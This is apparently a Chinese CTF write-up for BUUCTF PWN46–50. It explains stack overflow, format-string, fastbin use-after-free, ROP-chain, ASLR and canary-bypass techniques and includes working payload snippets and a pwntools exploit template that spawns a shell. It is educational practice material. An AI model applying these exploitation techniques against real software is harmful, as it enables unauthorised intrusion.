ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

CTF PWN题解:栈溢出与堆利用实战技巧

CTF PWN题解:栈溢出与堆利用实战技巧

1. 解题环境与工具准备

作为一名长期活跃在CTF赛场的二进制选手,每次解题前我都会确保环境配置万无一失。对于BUUCTF的PWN46-50这组题目,推荐使用Ubuntu 20.04 LTS作为基础环境,配合以下工具链:

# 基础工具 sudo apt install -y python3 python3-pip git curl # PWN专用工具 pip3 install pwntools --upgrade sudo apt install -y gdb gcc-multilib # 增强型GDB插件 git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh

注意:不同版本的libc可能导致偏移计算出现差异,建议使用题目提供的libc版本。遇到段错误时先用file命令检查二进制架构,32位程序需要安装gcc-multilib。

2. 题目分析与漏洞定位

2.1 PWN46 - 栈溢出基础题

拿到题目首先用checksec检查防护机制:

[*] '/pwn46' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键漏洞点在vuln()函数:

void vuln() { char buf[64]; read(0, buf, 256); // 明显的栈溢出 }

利用思路:

  1. 填充64字节覆盖缓冲区
  2. 继续覆盖EBP(4字节)
  3. 覆盖返回地址为后门函数get_flag(0x8048512)

2.2 PWN47 - 格式化字符串漏洞

使用radare2分析发现存在格式化字符串漏洞:

printf(buf); // 用户可控输入

利用步骤:

  1. 泄露栈上libc地址计算基址
  2. 通过%n写入修改返回地址
  3. 覆盖为system("/bin/sh")

实测时需要先发送%p*10确定偏移量,发现第7个参数开始出现栈数据。

3. 漏洞利用与Payload构造

3.1 PWN48 - 堆利用之fastbin attack

题目实现了一个简单的笔记系统:

struct Note { int size; char *content; };

漏洞点在于删除笔记时未清空指针:

free(note->content); // 未置NULL导致UAF

利用链构造:

  1. 创建两个note(chunk A和B)
  2. 释放A和B使其进入fastbin
  3. 修改B的fd指针指向伪造的chunk
  4. 申请新note获取到伪造chunk的控制权

关键payload:

# 修改fd指针指向__malloc_hook附近 payload = p64(libc_base + libc.sym['__malloc_hook'] - 0x23)

3.2 PWN49 - ROP链构造技巧

面对NX防护需要构造ROP链,使用ROPgadget工具:

ROPgadget --binary pwn49 --ropchain

特殊技巧:

  • 使用ret;指令对齐栈地址(解决movaps指令崩溃)
  • 通过pop rdi; ret传递/bin/sh字符串地址
  • 调用system()前确保栈16字节对齐

典型payload结构:

payload = flat([ b'A'*offset, pop_rdi, binsh_addr, system_addr, ret_addr # 对齐用 ])

4. 动态调试与问题排查

4.1 GDB调试技巧实录

遇到崩溃时建议使用:

gdb -q ./pwn50 r < payload

关键调试命令:

  • cyclic 200生成测试pattern
  • x/20gx $rsp查看栈内存
  • vmmap确认libc加载地址
  • heap chunks查看堆状态(需pwndbg插件)

4.2 常见错误解决方案

  1. SIGSEGV错误:

    • 检查payload长度是否准确覆盖返回地址
    • 确认地址是否包含非法字符(如0x0a换行符)
  2. execve失败:

    • 确保/bin/sh字符串正确写入内存
    • 检查环境变量是否被破坏(可尝试execve替代system)
  3. 栈对齐问题:

    • 在ROP链开头添加额外ret指令
    • 使用mov rsp, rbp等指令调整栈指针

5. 自动化脚本开发

使用pwntools模板提高效率:

from pwn import * context(arch='amd64', os='linux', log_level='debug') def exploit(): p = process('./pwn50') # 第一阶段:泄露地址 p.sendlineafter('>', '%7$p') libc_leak = int(p.recvline(), 16) libc_base = libc_leak - 0x3ec680 # 第二阶段:构造ROP链 rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh'))) payload = flat({ 0x40: rop.chain() }) p.sendlineafter('>', payload) p.interactive() if __name__ == '__main__': exploit()

优化技巧:

  • 使用context.timeout设置超时避免卡死
  • 关键操作添加pause()便于调试
  • 对远程题目实现自动重连机制

6. 防护绕过进阶技巧

6.1 对抗ASLR

当遇到地址随机化时:

  1. 通过格式化字符串或堆地址泄露获取基址
  2. 计算目标函数相对偏移
  3. 动态构造payload

示例代码:

# 泄露libc地址 p.send(b'%15$p') libc_leak = int(p.recv(14), 16) libc.address = libc_leak - 0x3c4b78

6.2 绕过Stack Canary

对于存在canary的题目:

  1. 通过格式化字符串泄露canary值
  2. 在payload中保持canary不变
  3. 精确覆盖返回地址

关键payload结构:

payload = flat([ b'A'*offset, leaked_canary, b'B'*8, # 覆盖ebp target_address ])

7. 赛后总结与提升建议

通过这组题目我总结了几个重要经验:

  1. 总是先完整逆向程序逻辑,不要急于构造payload
  2. 动态调试时善用tbreak设置临时断点
  3. 对堆题目画内存示意图辅助分析
  4. 保留所有测试payload用于回归测试

推荐练习资源:

  • how2heap 堆利用教程
  • ROP Emporium ROP专项训练
  • pwnable.kr 入门到进阶靶场
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进